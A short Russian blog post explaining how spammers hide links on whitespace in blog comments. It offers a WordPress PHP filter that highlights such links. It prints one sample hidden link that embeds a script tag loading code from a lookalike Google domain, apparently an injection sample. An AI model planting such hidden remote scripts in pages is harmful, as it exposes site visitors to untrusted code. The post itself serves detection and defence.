Spam ссылки в комментариях

Spam ссылки в комментариях

Спамеры сегодня только как не ухитряются чтобы вставить свою спамерскую ссылку куда угодно и кому угодно,в комментариях спамеры умудряются вставлять свои ссылки на пробелы, которые вы не увидете, не просмотрев исходный код страницы.

Вот к примеру ссылка на сайт установлена на пробел:

<a href="http://yainet.ru"> <script type="text/javascript" src="//css.googleaps.ru/css?f=Open+Sans&cd=mb&ver=4.2.2"></script></a>

Такие ссылки не видны, даже если выделить текст, всё равно ссылка никак не отображается. Чтобы увидеть данные ссылки необходимо в файл вашей темы functions.php вставит следующий код. Вычитал на сайте dimox.

function show_me_the_spam_links($comment) {
   return preg_replace(
     '#<a.+href=["\']?(https?:\/\/[^\s"\'\>]+)[\'"\s].+>[\s\.\,\_]*<\/a>#msiU',
     '<a style="border: 1px dotted #F00 !important; background: #FF6 !important; padding: 2px 4px !important; color: #03f !important;" title="Похоже на спам-ссылку" href="http://anonym.to/?$1">$1</a>',
     $comment);
}
 add_filter('comment_text', 'show_me_the_spam_links', 10000);

Вот так spam ссылка выглядит до добавления функции:

Спам в комментариях

Спам в комментариях

Вот так спам ссылка выделяется после добавления функции:

Spam ссылки в комментариях

Spam ссылки в комментариях

Конечно у вас может быть блог будет настроен на предупреждение появления каких либо ссылок в комментариях, но возможно какие-нибудь такие комментарии просочаться, так что кому нравится реализация такой функции, ничего сложного нет, пользуйтесь.